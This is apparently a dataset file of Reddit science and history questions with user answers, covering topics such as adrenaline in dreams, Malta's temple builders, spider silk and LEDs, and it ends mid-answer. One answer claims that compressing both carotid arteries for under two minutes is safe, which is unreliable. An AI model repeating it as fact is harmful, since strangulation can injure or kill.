{"q_id": "kjnfn", "title": "Would it be possible to have an adrenaline rush while sleeping?", "selftext": "Last night I had this dream where I was on the starting line of a race. While this isn't really unusual because I run track and have these sort of dreams ever so often, in this dream I felt as though I had a *very* convincing rush of adrenaline. I know this might seem like sort of a silly question, but I do know that some people for instance kick in their sleep. So is my mind playing a trick on me, or can my body really react to my dreams by releasing adrenaline?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kjnfn/would_it_be_possible_to_have_an_adrenaline_rush/", "answers": {"a_id": ["c2ktgsa", "c2ktgsa"], "score": [2, 2], "text": ["As far as I know, yes.  Lucid dreamers often claim that when you realize that you are dreaming, the excitement causes an adrenaline boost that can throw you completely out of unconsciousness.\n\nThus, I do believe that you are mistaking what you felt for a hallucination (which all dreams are) of an adrenaline rush.  A true epinephrine kick would jolt you out of sleep.", "As far as I know, yes.  Lucid dreamers often claim that when you realize that you are dreaming, the excitement causes an adrenaline boost that can throw you completely out of unconsciousness.\n\nThus, I do believe that you are mistaking what you felt for a hallucination (which all dreams are) of an adrenaline rush.  A true epinephrine kick would jolt you out of sleep."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7lpzut", "title": "What exactly is personalised medicine?", "selftext": "I've been hearing this term a lot recently and read a few definitions, but surely medicine has always been carried out to be as specific to the patient as possible? And how does understanding molecular cell pathology contribute to better approaches for personalised medicine?\n\n*personalized medicine for the Americans here :)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7lpzut/what_exactly_is_personalised_medicine/", "answers": {"a_id": ["drobq66", "drp4q0n"], "score": [6, 3], "text": ["The only \"personalized medicine\" with which I'm familiar has been a big topic among bioinformatics audiences, and I usually hear it as \"personalized genomic medicine.\" \n\nMedicine, to some degree, has focused less on the patient and more on the target (i.e. the infectious agent, the type of cancer, etc.) The new concept of personalized genomic medicine is taking into account the individual patient's genome, epigenome (where the technology remains lacking), and so on. \n\nOfficially in the United States, the President's Council of Advisors on Science and Technology defined it as:\n\n\"\u2026refers to the tailoring of medical treatment to the individual characteristics of\neach patient. It does not literally mean the creation of drugs or medical devices that\nare unique to a patient, but rather the ability to classify individuals into\nsubpopulations that differ in their susceptibility to a particular disease or their\nresponse to a specific treatment. Preventive or therapeutic interventions can then be\nconcentrated on those who will benefit, sparing expense and side effects for those\nwho will not.\" (President\u2019s Council of Advisors on Science Technology. Priorities for Personalised Medicine. 2008. _URL_0_)\n\nA good example of where this can go is cancer. Cancer's cause is *always* genetic (but not always heritable), in which DNA has been modified that allows certain cells to escape replication checkpoints and divide uncontrollably. In the case of the genomic approach to medicine, it could be possible in the future to sequence the genome of these cells, identify the individual mutation(s) that lead to tumorigenesis, and either specifically target that mutated protein with the patient's immune system OR remove the error altogether from the tumor genomes to restore normal function. This is a very reductionistic way of putting it and there's a lot of complexity and ethical concerns for doing this type of genetics work on living patients, but it shows promise over less targeted approaches. ", "Current medical protocols actually already are personalised but through trial and error.  For example; for a 45 year old man the first line treatment for hypertension according to the [NICE guidelines here in the UK](_URL_1_) should be an ACE inhibitor like [ramipril](_URL_0_) because current evidence suggests that ACE inhibitors are the most effective antihypertensive in that patient group.  But individuals will always have their own reaction to medication that falls outside the average.  So it may well be that due to insufficient response or an adverse reaction, an ACE inhibitor is inappropriate for that particular patient so another type of antihypertensive is used instead.\n\nThe idea of personalised medication is about being able to anticipate such scenarios.\n\nThe future of personalised medication lies in genetic profiling.  For example; codeine requires activation by a liver enzyme CYP2D6 and some patients do not express this enzyme sufficiently for codeine to illicit a clinical effect so its pointless giving codeine to such patients so with testing we can identify these patients and tailor their treatment accordingly.  Personalised medicine identifies such patient needs and advises accordingly and is not, as AnophenlineSwarm mentions, about tailoring unique treatment to a specific patient."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://oncotherapy.us/pdf/PM.Priorities.pdf"], ["https://beta.nhs.uk/medicines/ramipril/", "https://www.nice.org.uk/guidance/cg127/chapter/1-Guidance#choosing-antihypertensive-drug-treatment-2"]]}
{"q_id": "e8vvfk", "title": "Who were the \"Temple Builders\" of Malta, and what happened to them?", "selftext": "(2nd attempt)\n\nI'm planning a trip to Malta, and found out about the \"Temple Builders\". They apparently built some of the oldest freestanding structures in the world as well as underground chambers like the [\u0126al Saflieni Hypogeum](_URL_0_), before vanishing sometime around 2500 BC. What do we know about them? Why were they able to build these complex (for the time) structures? Were they forced to leave, or conquered, or what? Why is this the first I've ever heard of them?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e8vvfk/who_were_the_temple_builders_of_malta_and_what/", "answers": {"a_id": ["faf10l3", "faf8612"], "score": [692, 35], "text": ["The \"temple-builders\" were a Neolithic group that arrived in Malta around the 5th-4th millennium BCE. They were a successful Neolithic society, possibly related to the Sicani of Sicily. A successful Neolithic society is typically marked by advancements in pottery development/use, cultivation of crops like cereals, artistic development (especially figurines), and building projects, often megalithic, usually as the result of social stratification in some form or another. Malta is just one example of this type of \"successful\" Neolithic culture, though the structures created at Malta are quite distinct. Europe and the Near East is dotted by various Neolithic societies at this time, all more or less \"succeeding\" in these basic ways. We find others in the archaeological record which did not \"succeed.\" Why or why not is a complicated question.\n\nNo one knows what happened to the temple-builders at Malta. Like all Neolithic societies, they were eventually supplanted by Bronze Age peoples, though not necessarily by invasion or violence. It was once thought that the end was abrupt, and came about 2400 BCE. Now most think that the abruptness of the break is due to our severe lack of general evidence and clear stratigraphy at many of the sites. It is very probable that the Neolithic society disintegrated over a rather longer span of time, due to factors beyond our understanding. It could have been related to climate change, natural disaster(s), mismanagement of resources, societal upheaval, or any combination of such. We can see in the late Tarxien phase (the last of the megalithic builders) that changes are happening in how land was utilized, with more marginal, less productive land coming under increased cultivation (that is the general impression from archaeological surveys). This could point to societal fracturing, poor harvest due to climate change, or even overpopulation due to mismanagement of island resources or the arrival of a new, populous group. There are no definitive answers at this time.\n\nThe most famous scholar of this topic is Luigi Ugolini, who was determined to prove the Neolithic dating of the megalithic structures (vs later, Bronze Age date). He died untimely in the early 20th century, but a dossier of his work and planned publications is currently under restoration and publication. He possessed many drawings of the megalithic structures which preserve elements no longer extant or visible, including many of the delicate artistic renderings which have, since excavation in the 19th century, weathered away to nothing. A good modern source for this is Claudia Segona, *The Archaeology of Malta* (Cambridge 2015). In the same year, Oxford put out a collection of studies called *The late prehistory of Malta : essays on Bor\u0121 in-Nadur and other sites.*", "I wrote [this](_URL_0_) post about the religious beliefs of the temple builders. It also has some general information about them."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/%C4%A6al_Saflieni_Hypogeum"], "answers_urls": [[], ["https://www.reddit.com/r/AskHistorians/comments/bwo82x/mythology_of_ancient_malta/eq23qji/?st=k40fhirw&amp;sh=de426be0"]]}
{"q_id": "3he6pz", "title": "How much effect do the non-energy elements of the stress-energy tensor have on gravitation?", "selftext": "After learning that not mass-energy, but the stress-energy tensor acts as the source of spatial curvature, I'm still struggling to figure out exactly how different this measure is than just the matter and energy involved.\n\nHow would we perceive gravity on the surface of the Earth without any contribution from pressure or shear? Can black holes have any stress? Am I asking the wrong questions?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3he6pz/how_much_effect_do_the_nonenergy_elements_of_the/", "answers": {"a_id": ["cu6odgb"], "score": [12], "text": ["The presence of non-negligible pressure changes quite a lot in GR, as opposed to Newtonian gravity. For a perfect fluid, the stress tensor in the momentarily comoving rest frame (MCRF) of the fluid has the form\n\n >  T = diag(\u03c1,p,p,p)\n\nwhere \u03c1 is the mas density and p is the pressure. (We are working in natural units where c = 1.) To get a feel for how the pressure enters the picture, we may derive the so-called \"weak field Einstein equations\". These are the equations for a metric which is the sum of the flat Minkowski spacetime and a small non-flat metric. They are derived under consideration of a region of spacetime far from all masses. If we also assume that velocities are much smaller than the speed of light, then we get a set of equations that contains a single unknown \u03c6, which is properly interpreted as the Newtonian gravitational potential. It ends up satisfying the equation\n\n >  \u0394\u03c6 = -4\u03c0\u03c1\n\nThis is exactly the equation of Newtonian gravity, so no surprise. GR does, indeed, reduce to Newtonian gravity in the proper limit.\n\nThe assumption that velocities are small is equivalent in these units to the assumption that the pressure is small compared to the mass density. What happens if we drop that assumption but retain the assumption of the \"far field\"? Well, it turns out that we again get a metric which looks just like that of Newtonian gravity, with one very important exception. The unknown \u03c6 now satisfies the equation\n\n >  \u0394\u03c6 = -4\u03c0(\u03c1+3p)\n\nThat is, \u03c6 looks just like a Newtonian gravitational potential, but the source (also called the \"active gravitational mass\") is not just \u03c1 but \u03c1+3p. In Newtonian physics, it makes sense that the pressure doesn't matter. All that matters is how the mass is arranged. In GR, it *also* matters how that mass is transferring momentum, i.e., the pressure. The presence of the pressure in the active gravitational mass of GR is termed a \"post-Newtonian effect\", which is any effect that is present only in GR. (Another post-Newtonian effect is the precession of the pericenter of orbits around massive bodies. Prediction of the precession of Mercury's perihelion is one of the classical tests of GR.)\n\nThe presence of the pressure in the active gravitational mass cannot be overstated. In cosmological models, the (positive) expansion factor *a* satisfies the deceleration equation (which is now a bit of a misnomer)\n\n >  a''/a = -4\u03c0(\u03c1+3p)/3\n\nFor matter and radiation dominated energy, the quantity \u03c1+3p is positive, which means that a'' must be negative. That is, if the universe only had matter and radiation, the expansion factor would decelerate over time. But we actually observe the expansion of the universe to be accelerating. This can be modeled by the inclusion of a positive cosmological constant in the Einstein field equations. The term in the equations with this constant can effectively be written as the stress tensor of a perfect fluid which satisfies p+\u03c1 = 0. (The associated \"fluid\" is called dark energy.) Hence the term \u03c1+3p is actually -2\u03c1, and the equation is\n\n > a''/a = 8\u03c0\u03c1/3\n\nWe still assume that \u03c1 > 0 (this is because \u03c1 is proportional to the cosmological constant, which is positive) . So since a > 0, this means that a'' > 0. The universe is accelerating. So the post-Newtonian effect of pressure entering the active gravitational mass ultimately has the effect of causing gravity to be *repulsive* in some models. Obviously, in Newtonian gravity, gravity is always attractive. So the inclusion of pressure has had a profound effect on the physics.\n\n---\n > How would we perceive gravity on the surface of the Earth without any contribution from pressure or shear? Can black holes have any stress? Am I asking the wrong questions?\n\nUnfortunately, the answers to these questions are rather boring.\n\nPost-Newtonian corrections are needed for Earth's gravitational field to make GPS satellites and our global telecommunication devices work properly. So I can't really say that the GR effects near Earth are negligible. (The effects are small though; GPS satellites correct for time dilation on the order of microseconds per day.) However, as far as I know the field outside and near Earth is still well approximated by the Schwarzschild solution, which is a spherically symmetric metric in a vacuum. The vacuum is defined as a region which has an identically vanishing stress tensor (so no mass density, no pressure).\n\nThe metric inside Earth is rather complicated, and the pressure does have an effect, but it is non-negligible only for stars because the mass and pressures are so much larger. A star is essentially a ball of matter which wants to contract under gravity but which is balanced by an outward push by pressure. The relationship between the pressure and the mass density is covered in a branch of physics called hydrostatics. For the interior of stars, the relativistic corrections to Newtonian hydrostatics tend to steepen the pressure gradients. So for a star to remain in hydrostatic equilibrium in GR, the star needs stronger internal forces than it needs in Newtonian gravity.\n\nFor black holes, the answer is not very enlightening. The exact solutions (Schwarzschild, Kerr, Newman) are all derived under the assumption of a vacuum, i.e. a vanishing stress tensor.\n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1znsn3", "title": "what is a power band and why do atvs and dirt bikes have them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1znsn3/eli5_what_is_a_power_band_and_why_do_atvs_and/", "answers": {"a_id": ["cfvagpf"], "score": [7], "text": ["If you're asking about what I think you're asking about....then every engine has a 'power band'.\n\nIt's basically the range (in RPMs) that the engine is going to give you the most/best power.\n\nWhen we test an engine, we measure the torque and horsepower as the engine revs up.  This gives us two curves on a chart.  What we look for, is where the torque is highest (peak torque) and where the horsepower is highest (peak HP).\n\nThe power band is basically the range between the peak torque and peak HP.  \n\nIf you know where the power band (range) is for the engine in your car/ATV/dirt bike etc., then it's best to keep the RPMs in that range.  If they get outside of that range, you should shift gears.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2jib6h", "title": "why are professional poker players allowed to wear hats/sunglasses/headphones during the game?", "selftext": "For a game that's all about reading your opponents, it seems like it should be banned as it creates a very uneven playing field.\n\n * If props don't create an advantage, why do players use them?      \n * If they do create an advantage, why aren't they banned?     \n * If they're not banned, yet do create advantage why don't all players wear a full [burqa?]    (_URL_0_)\n\nEDIT: Added sub-questions.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2jib6h/eli5_why_are_professional_poker_players_allowed/", "answers": {"a_id": ["clbzbl3", "clbzx3n", "clc115l", "clc1kqx"], "score": [8, 42, 11, 3], "text": ["The same reason teams don't tell the opposition what play they're going to run. \n\nIf you can't have some defense why even play?", "You seem fixated on the advantage that it creates to wear hats, glasses, headphones.   Yes it does give you a certain amount of advantage.   But it's not an *unfair* advantage which is key.   In any sort of competition part of trying to win is gaining an advantage over your opponents.   It isn't unfair because everybody has the option to wear these things.   Some do and some don't.   Headphones aren't so much about gaining an advantage as they are about just trying to combat the sheer boredom of playing tournament poker.   Poker is not like tv represents it to be.  You don't play very many hands.  Most of the time you're folding.   So, imagine sitting there for 10-12 hours a day sitting in a chair folding most of your hands.  Very boring.   Music or other audio stimuli help keep your brain active and engaged. ", "Even at a low level tells have very little to do with the game. It's a fun little trick to use with your friends but most serious players can manage to keep calm. \n\nThe pros winning big tournaments are the same guys hustling online. A players actions in game say a lot more than any tells.", "They give you very small advantage against most crowd (perhaps there are some players who are very good at physical reads, most are absolutely terrible even if they think they are good. Many players especially those who are mostly internet ones simply dismiss those reads as not important part of the game for most part.)\n\nThat being said it might provide a bit of advantage (there is no downside - other than looking like a tool and bit of potential for upside). So why not everyone uses it? People just do not care enough to get this bit of extra defense vs something that is not very effective to begin with. \n\nHeadphones are different. People use them because they are bored or find other players talking annoying / distracting.\n\nSightly related story: Shaking hands are claimed to be a massive tell. They are. The problem is that they show that somebody is stressed / excited. Now is that helpful? You would think so. There is one problem though.\n\nWhen I played I could never elimate shaking hands (not sure if other people saw, I definitely did) when I was a big hand. However, it was not a big tell anyway. Big bluff? Shaking hands because Im stressed about being called. Huge hand? Shaking hands because I need to extract value and I am not sure if I will be called.\n\nTLDR: Reads are hard. People dont care."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/31bboW1.jpg"], "answers_urls": [[], [], [], []]}
{"q_id": "a4j9u5", "title": "Why can't LEDs produce radio waves or x-rays?", "selftext": "Is it that we just haven't been able to produce an LED with the right bandgap? Are we just not interested in the production of non visible LEDs (with the exception of UV and some IR) or is there a more fundamental reason? And as a follow up question: If we could create a radio wave LED, could we transmit radio wave signals with it?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a4j9u5/why_cant_leds_produce_radio_waves_or_xrays/", "answers": {"a_id": ["ebflfna"], "score": [13], "text": ["You already know how bandgaps work.  We'd absolutely *love* to directly image high and low wavelengths, but it's probably not possible.\n\nFor high energy waves above UV, you're talking about ionizing radiation.  If the photon being released has enough energy to ionize an atom, it very likely is ionizing the atoms in the emission source as well.  That will rapidly destroy any semiconductor junction.  You'd need a material that's far more stable than anything else.  You sould use lots of insulators to emit high energy photons except for the fact that when you give an electron that much energy it would rather just rearrange chemical bonds/cause a fire.\n\nFor low frequency photons you're talking about a small band gap.  Visible light is on the order of an electron volt.  Lead sulfide is an example of a very low-gap semiconductor used for IR LEDs- about .37 eV.  A 100 MHz photon from an FM radio station has ~.4 millionths of an eV.  It's not really practical to make a band gap smaller than IR."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1dd18f", "title": "When was the first interview?", "selftext": "When was the format of an interview, where a person asks questions to another person to relay that information to the general public, born?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1dd18f/when_was_the_first_interview/", "answers": {"a_id": ["c9pbhy5"], "score": [3], "text": ["(Writing not as a specialist, but purely as someone making the most of an idle lunch-hour:)\n\nQuite possibly it was invented by the journalist Joseph B. M'Cullagh (EDIT: or M'Cullach), in his capacity as Washington correspondent for the Cincinnati *Commercial* in 1863-1868. The OED lists the first use of \"interview\" in this sense for 1869.\n\nIn a hagiographic bio of M'Cullagh, L. U. Reavis writes, [in *Saint Louis: the future great city of the world: with biographical sketches of the representative men and women of St. Louis and Missouri* (1876), pp. 614-18, at p. 617:](_URL_0_)\n\n >  Being on terms of an easy social intercourse with most of the leading men that flocked to Washington in winter, he was the first to discover and employ the process of interviewing, a practice now indispensable to the press, and until then not thought of. **We all can recall his celebrated interview with Alexander H. Stephens of Georgia, in the spring of 1867,** in which Stephens, for the first time, severely criticized the conduct of Jefferson Davis, holding him personally responsible for the disastrous downfall of the Confederacy. It created a genuine sensation in the North as well as in the South. Andrew Johnson may be mentioned as among the most prominent subjects of this master of interviewers, and the famous one of his Excellency on the impeachment trial, aroused the resentment of his enemies, without doing, perhaps, any especial good at that moment to the cause his friends were conducting for him with more prudence."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://archive.org/stream/saintlouisfuture00reav#page/617/mode/2up"]]}
{"q_id": "7gjkr4", "title": "Would it be possible to make a pair of glasses that remove colour, so you only see monochrome/black and white?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7gjkr4/would_it_be_possible_to_make_a_pair_of_glasses/", "answers": {"a_id": ["dqjpbc2", "dqjqv64", "dqjstf2", "dqjw18k", "dqk5p1o"], "score": [11, 5, 3, 20, 2], "text": ["Color is full of mind trickery. You need a reference color to see other colors. Ever plug in a red party light CFL in a dark room? You don't really see red after a while, just bright and dark. This is the reason that you don't see through your human night vision as a certain color at 500nm, and it looks just gray-green.\n\nI get migraines whenever I don't get enough sleep. I have some brown laser safety glasses with visible light transmittance of 20%, and I really feel colorblind when I wear them. All you can see is red with maybe a few hues of green, and you stop thinking in multiple colors too.", "White is really a mix of all visible wavelengths, so this would be a pair of glasses that would convert any visible wave into a mixture of visible waves, in the same direction. I'm not aware of any material that would do this naturally.\n\nIt is possible to do this with VR technology and 2 cameras. All you need is a filtering step between the camera and the VR display that removes the color, with the cameras attached to the headset to look at whatever you're looking at. To get the perspective correct you can use mirrors that give the cameras the same image as your eyes would get, with the mirrors at 45^o angles to your eyes and the cameras being equal distance from the mirrors as your eyes. ", "When you look at a greyscale image on your computer monitor, it is still being produced by a mix of red, green and blue light. It appears grey only because the intensity of the red, green and blue at each particular point is about equal. There is no arrangement of lenses or filters that will be able to balance out the intensity of the three primary colors across a changing image, so greyscale glasses made of filters/lenses only are not possible.\n\nAs for monochrome -  if you had, say, glasses with deep red filters for lenses that would arguably give you a red monochrome image, but that it also would be a suboptimal image that lost a lot of information. I remember reading in a photography magazine about 25 years ago (when film was still the main medium) of a monochrome mono-scope for black and white enthusisasts - it was basically a deep green filter.", "Black  &  white, and monochrome, have slightly different meanings.\n\nSo:\nmonochrome - yes (a red filter will allow only red light through. single colour = mono chrome)\n\nblack and white - no (you'd need a way of converting your single colour into white, which is a mix of all colours)", "If the glasses is analog, nope. You'd have to find a naturally occuring material that is able to figure out the intensity of the wavelength, let that light pass, at the same time emit off-color wavelengths of the same intensity, in the same velocity. We have trouble finding materials that emits in the same frequency.\n\n \nIf it is digital, you'd pretty much just be wearing a digital camera with a black/white filter. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1bodc8", "title": "Do dark thunder clouds absorb the sun's heat, and does it affect the storm?", "selftext": "Do dark, heavy thunder clouds absorb the sun's light from above, and does the heat make the storm more volatile? Would that same storm be less potent at night?\n\nSimilarly, snow storm clouds are often lighter in color; does the sun reflect off of the top of them? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bodc8/do_dark_thunder_clouds_absorb_the_suns_heat_and/", "answers": {"a_id": ["c98kfwz"], "score": [17], "text": ["As viewed from the sun, thunderstorms actually look white, just as any other high level cloud would look like.  Here are some satellite images of [snow storms](_URL_0_) and [supercells](_URL_1_).  The color of clouds you see from the surface is due to scattering and reflection of sunlight by the clouds.  Clouds don't readily absorb solar radiation, they mostly scatter it.  The do absorb terrestrial radiation, heat that the earth and atmosphere emit.  \n\nOne of the factors needed for thunderstorm development is instability.  This is where the air near the ground is hot enough, that even when it rises in the atmosphere and cools, it remains warmer than the environment and continues to rise.  When moist air rises, the water vapor condenses and creates clouds.  If there is enough moisture and lift, combined with strong instability, you get thunderstorms.  I can't currently quantify the effects of absorption of terrestrial radiation by clouds, but I think that it would be small compared to the other driving forces.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nasa.gov/images/content/513379main1_MODIS-Snow-670.jpg", "http://cimss.ssec.wisc.edu/goes/blog/wp-content/uploads/2011/05/110522_modis_truecolor_google.jpg"]]}
{"q_id": "7v7b22", "title": "what happens to food when you throw up? does your body still absorb those calories and nutrients? how does time since ingesting the food affect this process?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7v7b22/eli5_what_happens_to_food_when_you_throw_up_does/", "answers": {"a_id": ["dtq12o6"], "score": [2], "text": ["Bio student here! When you swallow regularly, there is a chain of muscle squeezes in your throat to push down the food, and when you throw up, your stomach pushes the food out of your stomach into your throat and the reverse muscle throat movement happens. Your body can only absorb nutrients from your small intestine, so vomit may be partially broken down, but not at all absorbed. Once something has move to the small intestine it's too late to throw it up. The time it takes food to move through the digestive system really depends on the food."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "151wzv", "title": "How does a person physically respond, up until loss of consciousness, to their carotid artery (arteries) being compressed?", "selftext": "I am acting in a short play in which my character's boyfriend compresses her carotid artery, as she is sitting, to cause her to faint (death is not the goal). \nI wanted to ask you guys what specifically is happening here, and how I might physically respond (rush of breath? seize up, then go limp? eyes roll into head approaching faint? etc). \nI've also seen that compressing ONE artery is not enough to cause a person to pass out- is this the case?\n\nEDIT: Oh boy, I really should've said I will not really be choked- rather, I want to know how I can best sell the choke. I am working with experienced people and am safe. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/151wzv/how_does_a_person_physically_respond_up_until/", "answers": {"a_id": ["c7ijq7z", "c7ivem5"], "score": [7, 3], "text": ["To follow up WhiteMamba18's point what is happening is that as the carotid artery is compressed the flow of blood to the brain drops off and causes a precipitous loss of blood pressure in the brain. This loss of blood pressure triggers and autonomic reaction which causes the rapid onset of the loss of consciousness. Removing the arterial pressure quickly restores the flow blood and the blood pressure to the brain and consciousness typically returns fairly rapidly. In the order of 10-30seconds, although I've seen it take about 5 mins.\n\nYou do usually need to compress both carotids, to see the effect although I'm sure that some sensitive individuals might respond to only one side being compressed.  It's a good way to make someone \"faint\" but it won't knock someone out as people regain consciousness very quickly and it would be dangerous to hold this compression.\n\nAs long as you don't hold the arterial compression for more than 2 mins (i.e. released immediately after they pass out) this is understood to be safe.", "Well, from my experiences of choking someone out (rear naked choke) they tend to go rather red in the face then go limp. Then seize. Spittle is involved and then they lie rather limp afterwards, so it isn't overly pretty; you might want to sell a sanitised version for your play..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "l97xq", "title": "an ad hoc network", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/l97xq/eli5_an_ad_hoc_network/", "answers": {"a_id": ["c2qvbhc", "c2qvbhc"], "score": [5, 5], "text": ["As it applies to Wifi - an Ad Hoc network is two devices connected directly to each other privately. For example You can setup the wifi network card on your laptop and a friends to have a 2 way Ad Hoc connection that only talk to each other (for sharing files or playing games lets say). On the other side - infrastructure mode is when you connect to your home wireless router or an open network at school/work and surf the interwebz\n\n", "As it applies to Wifi - an Ad Hoc network is two devices connected directly to each other privately. For example You can setup the wifi network card on your laptop and a friends to have a 2 way Ad Hoc connection that only talk to each other (for sharing files or playing games lets say). On the other side - infrastructure mode is when you connect to your home wireless router or an open network at school/work and surf the interwebz\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1vkmun", "title": "As a child, I always heard that spider webs are extremely strong. I often heard it said that a spider web the thickness of a #2 pencil, and large enough length wise, would be strong enough to stop an airplane in mid flight. Is this true? What would it take if not?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1vkmun/as_a_child_i_always_heard_that_spider_webs_are/", "answers": {"a_id": ["cetdyfw"], "score": [48], "text": ["Well, the answer really depends on the type of plane that we're talking about.\n\nThere are two factors to consider. \n\nFirst, would such a thread of silk have high enough tensile strength to hold against the thrust of the engines. The Rolls Royce Trent 1000 turbojets on the Boeing Dreamliner can produce up to 330kN of thrust. Two of them together can produce 660kN. \n\nThe strength of the silk depends on the spider, and the type of silk involved, but let's say we're working with one with [these properties](_URL_0_) (1.3GPa ultimate tensile strength and 30% extension at breakage).\n\n1.3GPa strength means that it can hold against 1.3 billion Newtons per square meter of material. To hold against 660kN would require 0.00051 square meters - or a thread about an inch in diameter. That's a bit thicker than a number 2 pencil, but it gives you an idea of the ballpark (on the other hand, a Cessna with just a few kN of thrust would be held quite easily).\n\nThe other factor to consider is the toughness of the material - how much energy it can absorb per unit volume of material. The question here is if the plane is flying along, then cuts its engines, how much spider silk would be needed to absorb all the kinetic energy and bring it to a stop.\n\nKinetic energy of a plane in flight: (0.5 * mass * velocity^2 ).\nThe dreamliner clocks with a cruising speed of about 250m/s, and about 200,000 kg. So total kinetic energy is 6.25GJ. Spider silks toughness (approximately) is 0.5 * 1.3e9*.3 = 195 MJ/(m^3) (roughly the area under the stress strain curve).\n\n6.25e9 / 195e6 = ~32 cubic meters. To get to 32 cubic meters, the inch thick spider thread from above would need to be almost 63km long, and would stretch an extra 18km before bring the plane to a stop.\n\nAgain, a 660kg Cessna flying at 200km/h would be more manageable, requiring only ~10L of spider silk to absorb its kinetic energy, so ~20 meters of the inch thick stuff, or a ~370 meters of a 6mm diameter strand. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/File:Wikipedia_Kevlar_Silk_Comparison.jpg"]]}
{"q_id": "2djssw", "title": "- what do people with multiple personalities see in the mirror when they are different people?", "selftext": "What if one personality was a child and they looked in the mirror and saw an adult? Or a man with one personality that's a woman? \n\nEdit- I guess I shouldve phrased it differently. I'm looking for what they think they see, and how they rationalize (consciously or unconsciously) seeing something that's contradictory to who they think they are", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2djssw/eli5_what_do_people_with_multiple_personalities/", "answers": {"a_id": ["cjq5r45", "cjq8lxd", "cjqc3ai"], "score": [10, 4, 11], "text": ["I don't know enough about disassociative identity disorders, but I do recommend you read the wikipedia page on Sybil, the book that really brought \"multiple personailties\" into the mainstream.\n\nNote that it is a book, not a peer reviewed published case study.\n\n_URL_0_", "So, I don't have DID, but I used to, when I was younger, have episodes where I would 'be someone else' so to speak. No matter who I 'was'(my actual self or some other personality), I didn't identify with the person I saw in the mirror. I've only recently started knowing it was 'me' in the mirror without making a conscious effort to recognize my reflection. Is this the answer you were looking for?", "You probably know this already, but there is a significant level of controversy about whether dissociative identity disorder (\"multiple personalities\") is a \"real\" disorder or not. Critics often say that it is a fad diagnosis - largely prescribed by a small handful of psychological practitioners, increasingly popular after media portrayals (e.g. Sybil), occurring largely in the U.S., lacking clear definition or diagnosis, etc.\n\nThat said, I imagine the experience you're asking about is akin to what someone with [depersonalization disorder](_URL_0_) might feel. In short, they feel disconnected from their bodies - as if they were outside observers watching someone else move around. So they might see themselves in the mirror and think \"That isn't me.\" That doesn't mean they think the mirror is \"lying\" or there's a trick being played on them. It's just that they don't feel a sense of identity with what they're looking at. It's difficult to explain, but you might imagine it as analogous to watching an old video of yourself as a kid or a baby. You can realize consciously that the kid in the video is you but still feel like you're watching a completely different person. I would venture to guess that a person with DID might experience that same lack of connection when looking at a mirror image that doesn't reflect his current sense of identity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Sybil_(book)"], [], ["http://www.mayoclinic.org/diseases-conditions/depersonalization-derealization-disorder/basics/definition/con-20033401"]]}
{"q_id": "64qrd9", "title": "Tuesday Trivia: Underdogs", "selftext": "Tell me your favorite stories of historical people and groups who beat ALL the odds and refuted ALL the naysayers to triumph (at least for awhile).\n\n**Next Week**: Out-of-Context Quotes", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/64qrd9/tuesday_trivia_underdogs/", "answers": {"a_id": ["dg49ijr", "dg49rbz", "dg4bphh", "dg4h2mh", "dg4ncs4", "dg59wje", "dg5ck70"], "score": [26, 67, 10, 38, 17, 3, 7], "text": ["When you look at the Big Three at *Weird Tales* in the 1920s-1930s - H. P. Lovecraft, Robert E. Howard, and Clark Ashton Smith - these are men that faced considerable personal difficulties and yet persevered, at least for a bit, and have acquired some lasting fame. H. P. Lovecraft's father died in a sanitarium when he was 8, the death of his grandfather when he was 14 left the family impoverished, and he never graduated highschool, was denied enlistment in the military during WWI (although there's a story there), and was basically unable to hold a \"regular\" job his entire adult life...and yet became one of the most esteemed and influential American fiction writers; Clark Ashton Smith was born in poverty and lived there most of his life, taking care of aging parents, also never progressing far in school but by his own dedication translating Baudelaire from French to English and composing his own poetry in Spanish, unwilling to take office work and preferring the hard labor of cutting wood, picking fruit seasonally and, in his older years, working as a gardener, but he too found his place in American literature; Robert E. Howard, their Texan contemporary, did at least graduate high school, but faced a tremendous prejudice from his neighbors, to whom the idea of *writing* for a living was unfathomable...as he put it in his own words:\n\n >  When you seem to read 